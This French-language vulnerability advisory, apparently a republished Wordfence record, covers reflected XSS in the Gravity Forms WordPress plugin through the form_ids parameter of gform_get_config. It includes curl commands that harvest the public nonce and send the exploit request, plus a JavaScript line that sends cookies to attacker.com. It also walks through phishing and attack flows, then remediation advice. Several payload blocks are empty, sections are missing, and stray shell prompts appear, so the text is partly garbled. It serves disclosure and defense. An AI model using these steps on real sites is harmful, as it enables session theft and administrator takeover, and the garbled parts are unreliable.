Enregistrement public Wordfence

Description

Le plugin Gravity Forms pour WordPress (testé jusqu'à la version 2.9.28) est vulnérable à un cross-site scripting (XSS) réfléchi non authentifié via le paramètre form_ids de l'action AJAX gform_get_config. La vulnérabilité existe parce que les valeurs form_ids fournies par l'utilisateur sont reflétées textuellement dans la réponse HTTP du serveur sans aucune assainissement, encodage ou échappement de sortie. La réponse est servie avec un en-tête Content-Type: text/html; charset=UTF-8, ce qui amène le navigateur à analyser et à rendre le contenu reflété comme du HTML, y compris tout élément de script injecté.

Un attaquant non authentifié peut exploiter cette vulnérabilité pour exécuter du JavaScript arbitraire dans le contexte de l'origine du site WordPress cible. Étant donné que l'action gform_get_config nécessite un config_nonce valide, et que ce nonce est publiquement intégré dans le code source HTML de chaque page qui charge un formulaire Gravity Forms, un attaquant peut trivialement obtenir un nonce valide en demandant n'importe quelle page publique du site cible avant de construire la requête d'exploitation.

Une exploitation réussie permet à un attaquant de voler les cookies de session, d'effectuer des actions au nom d'utilisateurs authentifiés (y compris les administrateurs WordPress), de rediriger les utilisateurs vers des sites malveillants, de défigurer le contenu des pages ou d'établir un accès persistant via la création de comptes administratifs.

Analyse de la cause racine

Point de terminaison vulnérable```

POST /wp-admin/admin-ajax.php

Paramètre vulnérable

Le paramètre POST args accepte un objet JSON contenant un tableau form_ids. Les valeurs de ce tableau sont utilisées comme clés d'objet dans la structure de la réponse JSON sans assainissement :```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

Pourquoi c'est exploitable

1. Aucune validation des entrées : Les valeurs form_ids ne sont pas validées comme entiers, ni assainies, ni filtrées. Le serveur accepte tout contenu de chaîne arbitraire, y compris des balises HTML et des gestionnaires d'événements.
2. Aucun encodage de sortie : Les valeurs form_ids sont reflétées dans le corps de la réponse sans encodage des entités HTML. Les caractères tels que <, >, " et ' transitent sans modification.
3. Type de contenu HTML : La réponse est servie avec Content-Type: text/html; charset=UTF-8, ce qui indique au navigateur d'analyser le corps de la réponse comme du HTML. Toute balise HTML présente dans la valeur reflétée est instanciée et rendue par l'analyseur HTML du navigateur.
4. Nonce accessible publiquement : Le config_nonce requis par l'action gform_get_config est intégré dans l'objet de configuration JavaScript (gform_theme_config) sur chaque page qui charge un formulaire Gravity Forms. Ce nonce est identique sur toutes les pages et n'est lié à aucune session utilisateur spécifique, ce qui le rend trivialement accessible aux utilisateurs non authentifiés.

Analyse CWE

Cette vulnérabilité résulte de plusieurs faiblesses contributives qui s'enchaînent pour produire la condition exploitable. Bien que CWE-79 soit la classification principale à des fins de rapport CVE, la chaîne complète documente comment chaque défaillance se cumule pour permettre l'exploitation.

Chaîne de faiblesses```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

CWE-116 : Encodage ou échappement de sortie inapproprié (défaillance technique principale)

Rôle : Vulnérabilité principale — la cause directe de la condition XSS.

Lorsque le serveur construit la réponse JSON contenant les valeurs form_ids, il n'applique pas l'encodage des entités HTML à la sortie. Les caractères ayant une signification spéciale en HTML (<, >, ", ', &) transitent sans modification dans le corps de la réponse. Les fonctions PHP htmlspecialchars(), esc_html(), wp_json_encode() avec JSON_HEX_TAG, ou les fonctions d'encodage de sortie équivalentes ne sont pas appliquées aux valeurs form_ids avant qu'elles ne soient écrites dans la réponse.

Preuve : La chaîne littérale <svg onload=alert(document.domain)> apparaît dans le corps de la réponse octet pour octet identique à l'entrée, plutôt que sous la forme <svg onload=alert(document.domain)>.

CWE-838 : Encodage inapproprié pour le contexte de sortie (aggravant)

Rôle : Escalade de contexte — transforme un problème de réflexion de données en injection de code exécutable.

Le corps de la réponse contient des données structurées en JSON mais est servi avec Content-Type: text/html; charset=UTF-8. Cette déclaration de Content-Type indique à l'analyseur HTML du navigateur de traiter l'intégralité du corps de la réponse comme un document HTML. Si la réponse était servie en tant que application/json, le navigateur afficherait la réponse sous forme de texte brut et aucun analyseur HTML ne serait exécuté — les balises injectées seraient affichées sous forme de texte littéral plutôt que d'être instanciées en tant qu'éléments DOM.

Preuve :```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

Ce nonce a été confirmé comme étant :

• Identique sur toutes les pages du site cible (page d'accueil, pages de formulaire, pages sans formulaire)
• Non lié à une session utilisateur (même valeur renvoyée avec ou sans cookies)
• Non renouvelé par requête (statique pendant de longues périodes)

En-têtes de sécurité présents (insuffisants)

Preuve de concept

Environnement

Étape 1 : Obtenir un nonce valide

Demandez n'importe quelle page du site cible qui charge un formulaire Gravity Forms et extrayez la valeur config_nonce :```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

Étape 2 : Envoyer la requête d'exploitation

Envoyez une requête POST au gestionnaire AJAX de WordPress avec une valeur form_ids spécialement conçue contenant une charge utile XSS :```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

Corps de la réponse HTTP :```html

Réponse :```html

JavaScript déchiffré :```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

Scénario 3 : Prise de contrôle du DOM pour hameçonnage

Le XSS réfléchi peut remplacer l’intégralité du DOM de la page par une superposition de hameçonnage convaincante (par exemple, une fausse page de connexion ou une invite de session expirée) afin de récolter directement les identifiants.

Flux d’attaque```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

2. Encodage de la sortie — Appliquez wp_json_encode() avec les indicateurs JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT lors de la construction de la réponse JSON afin de garantir que les caractères significatifs en HTML soient échappés : ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
   root@kitploit:~

3. Correction du Content-Type — Définissez le Content-Type de la réponse sur application/json au lieu de text/html pour toutes les réponses JSON AJAX. Cela empêche le navigateur d'analyser la réponse comme du HTML, même si un contenu non assaini est reflété : ```php header('Content-Type: application/json; charset=UTF-8');
   root@kitploit:~

4. Portée du nonce — Envisagez de lier le config_nonce à la session utilisateur ou de mettre en place une limitation de débit sur la génération des nonces afin d'augmenter le coût d'une exploitation automatisée.

Pour les administrateurs de sites (atténuation immédiate)

1. Pare-feu applicatif web (WAF) — Déployez des règles WAF pour détecter et bloquer les balises HTML dans le paramètre args des requêtes POST vers admin-ajax.php où action=gform_get_config
2. Politique de sécurité du contenu — Mettez en œuvre une directive CSP script-src restrictive (par exemple, script-src 'self') pour empêcher l'exécution de scripts intégrés même en cas de réflexion
3. Surveillez les mises à jour — Appliquez le correctif Gravity Forms dès sa publication
4. Auditez les comptes administrateurs — Vérifiez les comptes administrateur existants pour détecter toute addition non autorisée

Chronologie de la divulgation

Références

• Documentation de sécurité Gravity Forms
• [Contact sécurité Gravity Forms](mailto:[email protected])
• CWE-79 : Neutralisation inappropriée des entrées lors de la génération de pages web
• OWASP Cross-Site Scripting (XSS)
• API AJAX WordPress — admin-ajax.php
• CVE-2023-2701 — XSS Gravity Forms antérieur (vecteur différent)
• CVE-2024-13377 — XSS stocké Gravity Forms antérieur via le paramètre alt (vecteur différent)

Avertissement

Cette vulnérabilité a été découverte lors d'un engagement de test d'intrusion autorisé mené dans le cadre d'une déclaration de travaux signée avec une autorisation écrite explicite. Tous les tests ont été effectués dans le périmètre convenu, et les résultats ont été signalés au client immédiatement après leur découverte. Cette divulgation suit les pratiques de divulgation responsable. Aucun système non autorisé n'a été accédé, et aucune donnée n'a été exfiltrée en dehors d'une validation contrôlée de preuve de concept.

Découvert par : Anthony Cihan